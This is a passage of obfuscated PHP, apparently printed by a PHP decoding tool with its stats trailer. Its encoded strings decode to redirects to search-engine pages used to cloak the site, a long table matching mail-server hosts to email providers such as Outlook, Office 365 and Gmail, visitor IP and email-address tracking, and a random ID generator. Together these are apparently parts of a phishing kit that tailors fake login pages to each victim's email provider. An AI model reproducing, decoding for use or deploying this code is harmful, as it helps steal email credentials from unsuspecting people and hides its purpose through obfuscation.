"\150\x74\x74\160\163\72\x2f\x2f\x77\167\x77\x2e\x79\x6f\x75\x74\165\142\145\x2e\x63\157\x6d\57\x72\145\x73\x75\154\x74\x73\77\163\x65\141\162\x63\150\137\x71\x75\145\162\x79\75{$searchParams}", "\x68\x74\x74\x70\163\72\x2f\57\x77\167\x77\x2e\142\x61\151\x64\165\x2e\x63\157\155\x2f\163\x3f\x69\x65\75\x75\164\146\x2d\70\x26\146\x3d\70\x26\162\x73\166\137\x62\160\75\x31\x26\162\x73\166\137\x69\x64\x78\75\x31\x26\x63\x68\75\46\x74\x6e\x3d\x62\x61\x69\144\165\x26\x62\141\x72\x3d\x26\167\x64\x3d{$searchParams}\x26\x72\x6e\x3d\46\146\145\156\154\145\x69\75\62\65\x36\46\x6f\x71\75\46\x72\163\x76\x5f\160\x71\75\70\x33\65\x34\62\62\141\x61\x30\60\60\x32\x61\143\x32\x61\46\162\163\166\137\164\x3d\x36\x34\71\x37\123\154\x76\123\142\165\142\113\x65\105\121\x69\112\x4b\156\x33\113\x4c\63\123\x75\x5a\x5a\164\130\162\112\116\x49\124\114\120\x47\x59\x45\x78\45\62\x42\142\x78\x35\45\62\102\x31\155\146\x25\62\106\x39\x25\x32\106\171\x51\x30\141\166\x57\x31\x4d\46\x72\161\x6c\x61\156\147\x3d\143\x6e", "\x68\x74\x74\160\163\72\x2f\57\144\165\143\153\144\165\x63\x6b\147\157\56\143\157\x6d\57\77\161\75{$searchParams}\46\x74\75\x68\137\46\x69\x61\75\167\x65\142", "\x68\164\164\160\x73\x3a\x2f\x2f\171\x61\x6e\144\x65\x78\x2e\x63\x6f\155\57\x73\x65\x61\162\143\150\x2f\77\x74\x65\170\x74\75{$searchParams}\x26\154\x72\x3d\62\60\x37\64\62"); http_redirected($list[array_rand($list)]); } goto mSRXE; VLjdl: $is_email_address = is_query_landed(); goto mUa3o; TAmp1: $the_Real_IP = ''; goto Fi3bF; Fi3bF: $ip_data = ''; goto iG9Mf; o1o5P: $records = array(array("\156\141\155\x65" => "\101\117\114", "\155\170" => "\155\170\55\141\157\154\56\x6d\x61\x69\x6c"), array("\156\x61\x6d\145" => "\131\x61\150\x6f\x6f", "\x6d\x78" => "\56\160\162\x6f\144\x69\x67\x79\x2e\x6e\145\x74"), array("\x6e\x61\x6d\145" => "\131\141\150\157\x6f", "\155\x78" => "\56\x79\x61\x68\157\x6f\x64\x6e\x73\56\156\145\x74"), array("\x6e\x61\x6d\145" => "\131\141\x68\157\x6f", "\x6d\x78" => "\56\171\x61\150\x6f\157\x2e"), array("\x6e\141\x6d\145" => "\x5a\x6f\x68\x6f", "\x6d\x78" => "\56\x7a\157\150\x6f\x2e\143\x6f\155"), array("\x6e\x61\x6d\145" => "\x31\141\156\x64\61", "\155\x78" => "\56\x31\x61\156\x64\61\56"), array("\156\x61\x6d\x65" => "\117\x75\x74\154\x6f\157\153", "\155\170" => "\157\154\x63\56\160\x72\x6f\164\145\x63\164\x69\157\156\x2e\157\165\x74\154\x6f\x6f\x6b\56\143\x6f\x6d"), array("\156\x61\155\x65" => "\x4f\x75\x74\x6c\157\x6f\x6b", "\155\170" => "\x2e\x6d\141\151\154\x2e\x6f\x75\164\x6c\x6f\157\153\56\143\x6f\155"), array("\x6e\141\155\145" => "\117\165\164\x6c\x6f\x6f\x6b", "\155\170" => "\x2e\x68\x6f\164\155\141\x69\x6c\x2e"), array("\x6e\x61\x6d\145" => "\x4f\x66\146\151\143\145\x20\63\66\65", "\x6d\170" => "\155\x61\151\154\56\160\x72\157\x74\145\143\x74\151\x6f\x6e\56\157\x75\164\x6c\x6f\157\153\56\143\x6f\x6d"), array("\156\x61\x6d\145" => "\117\146\x66\151\x63\145\40\63\x36\x35", "\155\x78" => "\x2e\157\165\x74\154\x6f\x6f\153\x2e\143\157\x6d"), array("\156\141\155\145" => "\117\146\146\151\x63\145\x20\x33\x36\x35", "\x6d\170" => "\56\157\x66\x66\x69\x63\x65\63\x36\x35\x2e\x63\x6f\x6d"), array("\x6e\x61\x6d\145" => "\107\x6d\x61\x69\154", "\x6d\x78" => "\56\x67\x6f\x6f\x67\x6c\x65\x2e\143\x6f\x6d"), array("\x6e\141\155\x65" => "\x4d\141\x69\x6c\56\162\x75", "\155\x78" => "\x2e\x6d\x61\151\154\56\x72\x75"), array("\156\141\155\145" => "\115\141\151\x6c\x2e\143\x6f\x6d", "\x6d\x78" => "\x2e\x6d\141\x69\x6c\56\x63\x6f\x6d"), array("\156\x61\155\x65" => "\x45\141\162\x74\x68\154\151\156\153", "\155\x78" => "\56\x65\141\x72\x74\150\154\x69\156\x6b\56\x6e\x65\164"), array("\x6e\141\x6d\145" => "\105\141\x72\x74\x68\154\151\x6e\x6b", "\155\x78" => "\56\157\170\x73\165\x73\x2d\x76\x61\x64\x65\163\145\x63\165\162\145\x2e\x6e\145\x74"), array("\x6e\141\x6d\x65" => "\122\141\x63\153\x73\x70\141\143\145", "\x6d\170" => "\x2e\145\x6d\141\x69\x6c\163\x72\166\x72\56\143\x6f\155"), array("\156\x61\155\x65" => "\x4d\x69\x6d\x65\143\x61\163\x74", "\155\x78" => "\56\x6d\151\x6d\x65\143\141\x73\164\x2e\x63\x6f\155"), array("\156\x61\155\145" => "\x47\x6f\144\x61\x64\x64\x79", "\x6d\x78" => "\56\x73\x65\143\x75\x72\145\163\x65\x72\166\145\162\56\156\x65\164"), array("\x6e\141\155\x65" => "\103\x6f\155\143\x61\163\164", "\x6d\170" => "\x2e\143\x6f\x6d\143\141\x73\164\x2e\156\x65\164"), array("\156\141\155\x65" => "\117\x66\146\x69\143\145\x20\x33\x36\x35", "\x6d\170" => "\56\x70\x70\145\55\x68\157\163\164\145\x64\56\x63\157\155"), array("\x6e\x61\155\145" => "\x4f\146\x66\151\x63\145\x20\x33\66\x35", "\x6d\170" => "\56\x67\163\x6c\142\56\160\160\x68\157\163\164\x65\x64\56\x63\157\x6d"), array("\156\141\155\145" => "\117\146\x66\x69\x63\145\x20\x33\66\x35", "\x6d\x78" => "\x2e\x61\x72\163\x6d\x74\x70\56\x63\157\155"), array("\156\x61\155\145" => "\132\157\150\x6f", "\x6d\x78" => "\x2e\172\157\x68\x6f\x2e\x63\157\155"), array("\x6e\141\x6d\145" => "\x50\162\x6f\164\x6f\x6e\115\x61\x69\154", "\x6d\x78" => "\x6d\141\151\x6c\x2e\160\x72\x6f\x74\x6f\x6e\x6d\x61\151\x6c\56\143\x68"), array("\x6e\141\155\145" => "\106\141\x63\x65\142\157\x6f\153", "\x6d\x78" => "\x2e\x66\141\x63\145\142\x6f\157\x6b\56\143\157\155"), array("\156\x61\x6d\145" => "\x31\66\63", "\x6d\170" => "\x2e\156\x65\164\145\x61\163\x65\x2e\x63\x6f\x6d"), array("\156\x61\x6d\145" => "\61\x36\x33", "\x6d\170" => "\56\x31\66\63\x2e\143\x6f\155"), array("\156\141\x6d\x65" => "\62\x36\x33", "\x6d\170" => "\x2e\x32\66\63\56\156\x65\164"), array("\156\x61\x6d\x65" => "\101\154\151\171\165\156", "\x6d\x78" => "\x2e\x61\x6c\x69\142\x61\142\141\56\143\x6f\155"), array("\156\x61\x6d\x65" => "\x41\x6c\151\x79\165\156", "\x6d\170" => "\56\141\x6c\x69\x79\165\156\x2e\143\x6f\155"), array("\x6e\141\x6d\x65" => "\x41\x6d\141\x7a\157\x6e", "\x6d\170" => "\x2e\141\155\x61\172\x6f\156\x2e\x63\157\155"), array("\x6e\x61\155\145" => "\101\155\141\172\x6f\156", "\x6d\x78" => "\x2e\x61\155\x61\172\157\x6e\x61\x77\163\56\x63\157\x6d"), array("\x6e\141\155\145" => "\101\156\141\x7a\x61\156\141", "\x6d\170" => "\56\141\x6e\x61\x7a\x61\156\141\x2e\143\157\x6d"), array("\156\x61\155\145" => "\103\157\162\145\115\141\x69\154", "\x6d\x78" => "\x2e\x69\143\x6f\162\145\x6d\x61\151\154\x2e\156\x65\164"), array("\156\x61\155\x65" => "\107\x4d\130", "\155\170" => "\56\x67\x6d\x78\x2e\156\x65\164"), array("\x6e\141\x6d\145" => "\107\115\x58", "\x6d\x78" => "\x2e\x67\155\170\x2e\x63\157\155"), array("\156\x61\x6d\x65" => "\x48\x69\x6e\145\164", "\155\x78" => "\x2e\x68\x69\x6e\145\x74\56"), array("\156\141\155\x65" => "\151\x43\x6c\x6f\165\x64", "\x6d\170" => "\56\151\143\x6c\157\165\144\x2e\x63\x6f\x6d"), array("\156\141\155\145" => "\111\151\156\x65\164", "\x6d\170" => "\56\x69\x69\x6e\145\164\x2e\156\145\164\x2e\141\165"), array("\156\141\x6d\x65" => "\116\141\155\x65\143\x68\x65\141\160", "\x6d\x78" => "\56\x72\x65\x67\151\x73\164\162\141\162\x2d\x73\x65\x72\x76\x65\x72\x73\x2e\143\x6f\x6d"), array("\156\x61\155\145" => "\116\145\x74\x77\157\x72\153\x20\x53\157\x6c\x75\x74\x69\x6f\x6e\163", "\x6d\x78" => "\x2e\155\x79\162\x65\147\151\163\164\145\x72\145\144\x73\151\164\145\x2e\x63\157\155"), array("\156\141\x6d\x65" => "\x4f\162\x61\156\x67\x65", "\x6d\170" => "\56\157\162\141\156\x67\145\x2e"), array("\156\x61\155\x65" => "\121\121", "\x6d\x78" => "\56\x71\161\x2e\143\x6f\x6d"), array("\x6e\x61\x6d\x65" => "\x53\x79\156\x61\x71", "\x6d\x78" => "\56\163\171\156\x61\161\56"), array("\x6e\x61\x6d\x65" => "\x57\145\x62\x2e\144\x65", "\x6d\x78" => "\x2e\167\x65\142\56\144\x65"), array("\156\x61\155\145" => "\x59\x61\x6e\144\x65\x78", "\155\x78" => "\56\x79\x61\156\x64\145\170\x2e"), array("\x6e\x61\x6d\x65" => "\x5a\155\141\x69\x6c", "\x6d\x78" => "\x2e\x7a\x6d\x61\x69\154\x2e"), array("\156\x61\x6d\x65" => "\x53\164\x72\141\164\157", "\155\170" => "\56\x73\x74\x72\141\x74\157\x2e\x64\145"), array("\x6e\141\x6d\x65" => "\101\x70\160\x6c\x65", "\155\170" => "\x2e\141\160\160\x6c\x65\56\143\157\155"), array("\156\x61\155\x65" => "\x43\x6f\x78\40\127\x65\x62\x6d\x61\151\x6c", "\155\170" => "\56\143\154\x6f\x75\x64\146\151\x6c\164\x65\162\x2e\156\x65\x74")); goto TAmp1; iG9Mf: $searchParams = "\164\165\162\142\151\146\x79\x20\x6d\x61\x69\154"; goto xCvCs; xurks: die; goto hPBJP; sQQ2l: function randomID(int $length = 30) : string { $result = ''; $characters = str_split("\101\x42\103\104\x45\106\107\110\111\112\113\x4c\115\116\117\x50\x51\122\123\x54\125\126\127\130\x59\132\141\x62\143\144\x65\x66\147\x68\x69\x6a\x6b\x6c\155\156\x6f\160\x71\162\163\x74\165\x76\x77\170\171\x7a\x30\61\x32\63\x34\x35\66\x37\70\71"); $counter = 0; while ($counter < $length) { $result .= $characters[array_rand($characters)]; $counter += 1; } return $result; }

Function Calls

None

Variables

None

Stats

MD5 c38e16adfb9e901491805a4ba9bf036c
Eval Count 0
Decode Time 64 ms